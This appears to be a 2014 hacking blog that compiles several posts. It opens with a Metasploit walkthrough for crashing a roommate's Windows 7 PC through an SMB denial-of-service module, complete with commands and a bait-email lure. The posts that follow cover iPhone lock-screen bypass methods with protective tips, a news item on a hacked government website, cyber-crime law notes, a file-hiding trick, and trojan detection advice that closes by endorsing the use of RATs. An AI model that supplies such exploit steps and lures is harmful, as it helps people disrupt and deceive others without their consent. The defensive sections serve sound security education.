Sunday 12 October 2014

Hack Like a Pro: How to Crash Your Roommate's Windows 7 PC with a Link

Although these operating systems were first released, in some cases, almost 10 years ago, they are still in wide use. I have done consulting to many large corporations and institutions and am always surprised to see Windows XP systems still being used. On the other, I'm never surprised to see Windows Server 2003, as server operating systems get upgraded much less often.
Operating system hacks can be fun, especially when they come at the expense of that software behemoth Microsoft, but they are becoming increasingly rare as Microsoft pays more attention to security. That is one of the reasons that more and more attacks are centered upon the client-side application software instead of the OS.

Crashing Your Roommate's Windows 7 Computer

Before we move on to client-side application hacks, I want to do at least one more operating system hack. Vulnerabilities still exist in the new operating systems, but they are becoming rarer and rarer. With so many vulnerabilities in client-side applications, why would you want to spend a lot of time on the OS?
In this hack, we will take advantage of a flaw in Windows 7 and Windows Server 2008 operating systems that will create an infinite loop and crash the system. Although this isn't nearly as much fun as owning the system, it can be very destructive to an institution that relies upon this system to run their organization.
Enough talk, let's get started. Fire up your Metasploit on Back Track 5 and let's hack! If you're new to Metasploit, check out my article on getting started with it, as well as some of the past hacks.

Step 1: A Little Background Material

Remember that Metasploit has six types of modules, exploits, payloads, auxiliary, encoders, NOPs and post. In this hack, we will use an auxiliary module to attack the Windows 7 or Windows Server 2008 system's SMB.
msf> use auxiliary/dos/windows/smb/ms10_negotiate_response_loop

Step 2: Show Options

Now that we have selected our module, let's look at our options:
msf> auxiliary(ms10_negotiate_response_loop) show options
As we can see in the screenshot below, the only option we need to set is SVRHOST, which is our—the attacker's—system. In my case, it is 192.168.1.100. Yours may be different; check your IP address by typing ifconfig in a terminal.

Step 3: Set SVRHOST

Next, set your SVRHOST by typing:
msf > auxiliary(ms10_negotiate_response_loop) set SVRHOST 192.168.1.100

Step 4: Run

In the last step, we run the auxiliary module and once the module executes, it generates a shared folder link which you can send to the target machine. In this case, the link is \\192.168.1.100\Shared\Anything.
msf > auxiliary(ms10_negotiate_response_loop) run

Step 5: Making an Attractive Link

Metasploit then starts the malicious SMB service and when the target clicks on the link, the target system will begin to run an infinite loop, freeze, and crash.
To make the link look safe and more inviting, we might try crafting a webpage and attaching this link to it. Sending this link with an email that says something like "Hey, check out this sick video!" When the victim clicks on the link to view the "video", their system crashes.
In my next few hacks, we will start looking at attacking the many vulnerable client-side applications. Happy hacking!

"This Post is Copied For Study Purpose Only"

How Thieves Unlock Passcodes on Stolen iPhones (And How to Protect Yourself Against It)


Back in 2010, iOS developer Daniel Amitay developed a camera security app for iPhones that used an unlock screen almost identical to that of the iPhone.
The app was removed in mid-2011 (though, it eventually reappeared in early-2013, still available in the iOS App Store today), and before its initial demise, Amitay recorded the passwords anonymously that users typed in, and these were the results:
Image via Naked Security
These ten iPhone passcodes make up 15% of the 200,000 passcodes that his application recorded. The most popular code was "1234", which almost 9,000 people used. The rest of the codes are either very simple ("0000"), create a pattern ("2580"), or in the case of "5683", make up a word (LOVE).
These results are staggering, because according to this study, these ten codes are used by 1 out of every 7 iPhone users. Merely attempting these 10 passcodes gives you a pretty high chance of getting into someone's iPhone, even in newer iOS 7 devices.

#1. Using Brute Force to Bypass the iPhone Lock Screen

Aside from the 10 common passcodes above, your chances can exponentially increase if you know the owner of the iPhone well.
Many people use 4-digit pins that they're familiar with: birthdays, anniversaries, addresses, the last 4 of their social security numbers, and even the last 4 digits of their own phone number. iPhone users unlock their cell phones dozens of times a day, making a simple and memorable passcode beneficial.
Add to that oily finger smudges on the screen and there's a pretty good chance you'll get passed the lock screen security.
You have 6 tries to access the phone before you'll see the "disabled" warning, and then a few more before the phone is completely disable, so that gives plenty of chances for a good brute-forcer to gain access.
Even if you see the disabled screen, you still can hack into it. Scroll down to the Completely Resetting the iPhone with iTunes section for more info.

Protecting Yourself from Brute-Forcers

Much like any PIN (e.g. debit cards), you need to make it hard to guess by thieves.
  • Don't choose any of the ten passcodes listed above.
  • Don't use any important dates or any other numbers that can be linked back to you.
  • Steer away from passcodes that make shapes, like "1397" or "7139" (a square).
  • Instead of an easy 4-digit number, choose an alphanumeric code. Go toSettings -> Passcode and enter in your current PIN. Then disable Simple Passcode and set an alphanumeric passcode.
For help coming up with better passwords and codes, check out one of the many guides over on Tech Pr0nPower Byte (the precursor to Null Byte), orInterNoobs.

#2. Using Siri to Bypass the iPhone Lock Screen

You can use Siri to bypass any code on the iPhone 4S, 5, 5C, or 5S (if Touch ID is disable), but only to a certain extent, and only if the user has allowed Siri access when the phone is locked
If so, you can just press down on the Home button and ask Siri to make a phone call, send a text, and look through notes. Simple stuff. You can't use Siri for things like looking through email, contacts, or the internet.

Protecting Yourself from Siri's Flaws

You can protect yourself from this by deactivating Siri while the phone is locked. Do this by going to Settings -> Passcode and disabling Siri from the lock screen.

#3. Completely Resetting the iPhone with iTunes

Resetting your iPhone can bypass the passcode, but will delete everything on the phone. This can come in handy if you forget your passcode and have everything backed up on your iTunes. So, if you get a message like this when connecting the device to iTunes...
You'll need to restore your iPhone back to factory settings:
  1. Turn off your iPhone.
  2. Press and hold the Home button, and while holding the Home button in, hurry up and connect your iPhone to your computer using the USB cord.
  3. Continuing holding the Home button until the "Connect to iTunes" screen pops up.
  4. iTunes will give you the recovery mode alert.
  5. Click "OK" and restore the device.
This will take off the passcode, but will delete everything on the phone. Make sure to back up your iPhone at least once beforehand, or it will wipe to factory settings.

Protecting Yourself from Clever iTunes Restorers

It's tough to protect yourself from a hard reset, especially if your phone is stolen. What you can do is to make sure that Find My iPhone is turned on. That way you cannot only track where the iPhone is, but also remotely delete all the information before someone has a chance to bypass the passcode, granted they don't just turn the device off and sell it for parts.

#4. Tricking iCloud with a Fake Server

An anonymous hacker by the name of AquaXetine found an exploit in Apple's iCloud system that lets anyone unlock a lost or stolen iPhone running iOS 7 or above, and Apple has yet to fix it.
This hack, available at the doulCi website (iCloud (almost) spelled backwards), appears to change your DNS for the connection to iCloud so their server can intercept the Activation Lock request, and then responds with the proper message to unlock the device.
Six iPhones that were hacked using the doulCi technique.
Image by esonglance/Twitter
So far, the hackers claim that over 15,000 devices have been unlocked using this technique.

Protecting Yourself from doulCi

Unfortunately, there's not much you can do here. We just have to wait for Apple to fix this insane oversight, and hope that the kill-switch legislationgets approved nationwide; if the device is essentially destroyed, then no one will want to steal it.

#5. Using Passcode-Hacking Apps

You can unlock an older iPhone using redsn0w, which also jailbreaks the device without deleting anything. This article has a video that shows how to install redsn0w on any iPhone still using iOS 5, while this one will show you how to do it on iOS 6 devices. It bypasses the code and doesn't delete any of the information stored on the iPhone. This could potentially also work withthe evasi0n jailbreak for iOS 7 devices, as well.
You can also use a program called Gecko iPhone Kit (for iOS 5), which can be downloaded here, but most devices are using at least iOS 6 by now. This will actually give you the code and doesn't jailbreak or delete anything from the iPhone. Below is a video tutorial of this process.
https://www.youtube.com/watch?feature=player_embedded&v=wY7Sc7e0sGI

Protecting Yourself from Password-Hacking Apps

Again, not much you can do here. If it works for them, awesome, because it was about time you updated to a new iPhone anyway.
Have you found another way to gain access to the lock screen on your iPhone? Let us know.

OFFICIAL WEBSITE OF MAHARASTRA GOVERNMENT HACKED:-Case

MUMBAI, 20 September 2007 — IT experts were trying yesterday to restore the official website of the government of Maharashtra, which was hacked in the early hours of Tuesday.
Rakesh Maria, joint commissioner of police, said that the state’s IT officials lodged a formal complaint with the Cyber Crime Branch police on Tuesday. He added that the hackers would be tracked down. Yesterday the website, http://www.maharashtragovernment.in, remained blocked.
Deputy Chief Minister and Home Minister R.R. Patil confirmed that the Maharashtra government website had been hacked. He added that the state government would seek the help of IT and the Cyber Crime Branch to investigate the hacking.
“We have taken a serious view of this hacking, and if need be the government would even go further and seek the help of private IT experts. Discussions are in progress between the officials of the IT Department and experts,” Patil added.
The state government website contains detailed information about government departments, circulars, reports, and several other topics. IT experts working on restoring the website told Arab News that they fear that the hackers may have destroyed all of the website’s contents.
According to sources, the hackers may be from Washington. IT experts said that the hackers had identified themselves as “Hackers Cool Al-Jazeera” and claimed they were based in Saudi Arabia. They added that this might be a red herring to throw investigators off their trail.
According to a senior official from the state government’s IT department, the official website has been affected by viruses on several occasions in the past, but was never hacked. The official added that the website had no firewall.

Wednesday 8 October 2014

Cyber Law Introduction
Distributed DOS
A distributed denial of service (DoS) attack is accomplished by using the Internet to break into computers and using them to attack a network.
Hundreds or thousands of computer systems across the Internet can be turned into “zombies” and used to attack another system or website.
Types of DOS
There are three basic types of attack:
a. Consumption of scarce, limited, or non-renewable resources like NW bandwith, RAM, CPU time. Even power, cool air, or water can affect.
b. Destruction or Alteration of Configuration Information
c. Physical Destruction or Alteration of Network Components
e. Pornography:-
The literal mining of the term 'Pornography' is “describing or showing sexual acts in order to cause sexual excitement through books, films, etc.”
This would include pornographic websites; pornographic material produced using computers and use of internet to download and transmit pornographic videos, pictures, photos, writings etc.
Adult entertainment is largest industry on internet.There are more than 420 million individual pornographic webpages today.
Research shows that 50% of the web-sites containing potentially illegal contents relating to child abuse were ‘Pay-Per-View’. This indicates that abusive images of children over Internet have been highly commercialized.
Pornography delivered over mobile phones is now a burgeoning business, “driven by the increase in sophisticated services that deliver video clips and streaming video, in addition to text and images.”
Effects of Pornography
Research has shown that pornography and its messages are involved in shaping attitudes and encouraging behavior that can harm individual users and their families.
Pornography is often viewed in secret, which creates deception within marriages that can lead to divorce in some cases.
In addition, pornography promotes the allure of adultery, prostitution and unreal expectations that can result in dangerous promiscuous behavior.
Some of the common, but false messages sent by sexualized culture.
Sex with anyone, under any circumstances, any way it is desired, is beneficial and does not have negative consequences.
Women have one value - to meet the sexual demands of men.
Marriage and children are obstacles to sexual fulfillment.
Everyone is involved in promiscuous sexual activity, infidelity and premarital sex.
Pornography Addiction
Dr. Victor Cline, an expert on Sexual Addiction, found that there is a four-step progression among many who consume pornography.
1.Addiction: Pornography provides a powerful sexual stimulant or aphrodisiac effect, followed by sexual release, most often through
masturbation.
2.Escalation: Over time addicts require more explicit and deviant material to meet their sexual "needs."
3.Desensitization: What was first perceived as gross, shocking and disturbing, in time becomes common and acceptable.
4.Acting out sexually: There is an increasing tendency to act out behaviors viewed in pornography.
g. Forgery:-
Counterfeit currency notes, postage and revenue stamps, mark sheets etc can be forged using sophisticated computers, printers and scanners.
Also impersonate another person is considered forgery.
h. IPR Violations:-
These include software piracy, copyright infringement, trademarks violations, theft of computer source code, patent violations. etc.
Cyber Squatting- Domain names are also trademarks and protected by ICANN’s domain dispute resolution policy and also under trademark laws.
Cyber Squatters registers domain name identical to popular service provider’s domain so as to attract their users and get benefit from it.
i. Cyber Terrorism:-
Targeted attacks on military installations, power plants, air traffic control, banks, trail traffic control, telecommunication networks are the most likely targets. Others like police, medical, fire and rescue systems etc.
Cyberterrorism is an attractive option for modern terrorists for several reasons.
1.It is cheaper than traditional terrorist methods.
2.Cyberterrorism is more anonymous than traditional terrorist methods.
3.The variety and number of targets are enormous.
4.Cyberterrorism can be conducted remotely, a feature that isespecially appealing to terrorists.
5.Cyberterrorism has the potential to affect directly a larger number of people.
j. Banking/Credit card Related crimes:-
In the corporate world, Internet hackers are continually looking for opportunities to compromise a company’s security in order to gain access to confidential banking and financial information.
Use of stolen card information or fake credit/debit cards are common.
Bank employee can grab money using programs to deduce small amount of money from all customer accounts and adding it to own account also called as salami.
k. E-commerce/ Investment Frauds:-
Sales and Investment frauds. An offering that uses false or fraudulent claims to solicit investments or loans, or that provides for the purchase, use, or trade of forged or counterfeit securities.
Merchandise or services that were purchased or contracted by individuals online are never delivered.
The fraud attributable to the misrepresentation of a product advertised for sale through an Internet auction site or the non-delivery of products purchased through an Internet auction site.
Investors are enticed to invest in this fraudulent scheme by the promises of abnormally high profits.
l. Sale of illegal articles:-
This would include trade of narcotics, weapons and wildlife etc., by posting information on websites, auction websites, and bulletin boards or simply by using email communication.
Research shows that number of people employed in this criminal area. Daily peoples receiving so many emails with offer of banned or illegal products for sale.
m. Online gambling:-
There are millions of websites hosted on servers abroad, that offer online gambling. In fact, it is believed that many of these websites are actually fronts for money laundering.
n. Defamation: -
Defamation can be understood as the intentional infringement of another person's right to his good name.
Cyber Defamation occurs when defamation takes place with the help of computers and / or the Internet. E.g. someone publishes defamatory matter about someone on a website or sends e-mails containing defamatory information to all of that person's friends. Information posted to a bulletin board can be accessed by anyone. This means that anyone can place
Cyber defamation is also called as Cyber smearing.

Cyber Stacking:-
Cyber stalking involves following a persons movements across the Internet by posting messages (sometimes threatening) on the bulletin boards frequented by the victim, entering the chat-rooms frequented by the victim, constantly bombarding the victim with emails etc.
In general, the harasser intends to cause emotional distress and has no legitimate purpose to his communications.
p. Pedophiles:-
Also there are persons who intentionally prey upon children. Specially with a teen they will let the teen know that fully understand the feelings towards adult and in particular teen parents.
They earns teens trust and gradually seduce them into sexual or indecent acts.
Pedophiles lure the children by distributing pornographic material, then they try to meet them for sex or to take their nude photographs including their engagement in sexual positions.
q. Identity Theft :- 

Identity theft is the fastest growing crime in countries like America.
Identity theft occurs when someone appropriates another's personal information without their knowledge to commit theft or fraud.
Identity theft is a vehicle for perpetrating other types of fraud schemes.
r. Data diddling:-
Data diddling involves changing data prior or during input into a computer.
In other words, information is changed from the way it should be entered by a person typing in the data, a virus that changes data, the programmer of the database or application, or anyone else involved in the process of having information stored in a computer file.
It also include automatic changing the financial information for some time before processing and then restoring original information.
s. Theft of Internet Hours:-
Unauthorized use of Internet hours paid for by another person.
By gaining access to an organisation's telephone switchboard (PBX) individuals or criminal organizations can obtain access to dial-in/dial-out circuits and then make their own calls or sell call time to third parties.
Additional forms of service theft include capturing 'calling card' details and on-selling calls charged to the calling card account, and counterfeiting or illicit reprogramming of stored value telephone cards.
t. Theft of computer system (Hardware):-
This type of offence involves the theft of a computer, some part(s) of a computer or a peripheral attached to the computer.
u. Physically damaging a computer system:-
Physically damaging a computer or its peripheralseither by shock, fire or excess electric supply etc.
v. Breach of Privacy and Confidentiality
Privacy
Privacy refers to the right of an individual/s to determine when, how and to what extent his or her personal data will be shared with others.
Breach of privacy means unauthorized use or distribution or disclosure of personal information like medical records, sexual preferences, financial status etc.
Confidentiality
It means non disclosure of information to unauthorized or unwanted persons.
In addition to Personal information some other type of information which useful for business and leakage of such information to other persons may cause damage to business or person, such information should be protected.
Generally for protecting secrecy of such information, parties while sharing information forms an agreement about he procedure of handling of information and to not to disclose such information to third parties or use it in such a way that it will be disclosed to third parties.
Many times party or their employees leak such valuable information for monitory gains and causes breach of contract of confidentiality.
Special techniques such as Social Engineering are commonly used to obtain confidential information.

Sunday 5 October 2014


In my previous article i have given a small intro to steganography. There you can find the basics of steganography, it's uses and the techniques used.
In this article we will see how to hide data behind images without using softwares.

Step1: Create a folder in your C drive and name it as “hack”

Step 2:Copy all the images you want to hide and also the image behind which you want hide into this directory.

Step 3: Now select the images you want to hide and add them to archive i.e keep them in winrar.
You can do this by right clicking the selected images->add to archive->click ok.


Now you will see one more file named “hack.rar” in your directory.


Step 4: now open command prompt and change your root to your current directory as shown in the figure and type the following command.
Copy /b 1.jpg + hack.rar romance.jpg


Here “1.jpg “ is the image behind which you want to hide.
“hack.rar” is the file of images to be hidden.
“romance.jpg “ is the output file that we want.
After executing the following command, we will see an extra image called “romance.jpg” as shown in the figure.


Now you can delete all the files except “romance.jpg”.
If you double click the file, it opens a normal image. But you can see the hidden files by opening the file with winrar.

How to secure yourselves from Trojans and RATs


Symptoms of a trojan:


Unusual behaviour of the system is a mere indication of a Trojan attack!!!
• Programs starting and running without the initiation of the User.
• Opening or Closing of CD-ROM drawers
• Wallpaper, background, or screen saver settings changing by themselves
• Screen display flipping upside down
• Browser program opening strange or unexpected websites.

All the above actions seem like a ghost controlling your system!!!!
The actions clearly indicate that you are under Trojan attack!

Concept behind Detecting Trojans:

The first and foremost thing you have to do is to check the applications which are making network connections with other computers. One of those applications will be a process started by the Server Trojan.

METHOD 1:


Detecting trojans using" netstat" command


An effective method to detect trojans is by using “netstat” command.


Step1: Go to Start>run and type cmd ( to open command prompt)

Step2: Go to C drive and type netstat
It displays all the Active Connections.


Now Type the command netstat –ano
It displays all the present TCP/IP and UDP ports that are being used.


The trojan could be one of the ESTABLISHED conections. But not all the ESTABLISHED connections are trojans.

Step 3: Open task manager.

(This can be done by right-clicking on task bar and start task manager)

Step 4:


Go to view-->select columns


Check the process Identifier and click ok.



Step 5: Cross check the PIDs of ESTABLISHED connections with the PIDs shown on task manager to know the name of the program or application running. For example PID 5004 isTeamViewer.exe (as shown in the image)


Step6: Whenever you find a suspicious program, copy the name and paste it in the search box ofspywareguide.com
For example, one of the programs could be Backdoor.Alvgus.a.exe. Copy it and paste it in the search box of spywareguide.com
Click on it and it displays its properties…..



How To Kill A Program??


Well, you have identified a trojan. Now you have to kill it. You can kill the process using pskill.
And now you can kill the program using pskill.
You can download pskill from here. 
Store the pskill.exe application on your C drive. And now you can kill the particular process using the command C:\>pskill 5004 (PID of the program).

METHOD 2: 


Detecting and removing Trojans Using  TCPView:


If you find it difficult to do all the above stuff, just go through this method.
TCPView is a Windows program that will show you detailed listings of all TCP and UDP end points on your system, including the local and remote addresses and state of TCP connections. you can download it from here.
When you start TCPView it will enumerate all active TCP and UDP endpoints, resolving all IP addresses to their domain name versions.
Endpoints that change state from one update to the next are highlighted in yellow;
those that are deleted are shown in red, and new endpoints are shown in green.
You can right-click on active connections and check the properties.

Once you get hold of the Trojan application, you can Kill the active connection and the running process and then delete the physical application file.
This will make you recover from the attack of Trojan.


How to prevent a Trojan Attack??


The key to preventing Trojans and backdoors from being installed on a system is to not to install applications downloaded from the Internet or open Email attachments from parties you don’t know.
Most commercial antivirus programs have Anti-Trojan capabilities as well as spyware detection and removal functionality.
These tools can automatically scan hard drives on startup to detect backdoor and Trojan programs before they can cause damage. It’s important to use commercial applications to clean a system.
Also use Malwarebytes Anti-Malware to protect your computer from all kinds of viruses and trojans. You can download it from here.

NOTE: Never ever download trojans and RATs from third party websites. Always use Trojans from their official websites only.


Author

AMAN JAIN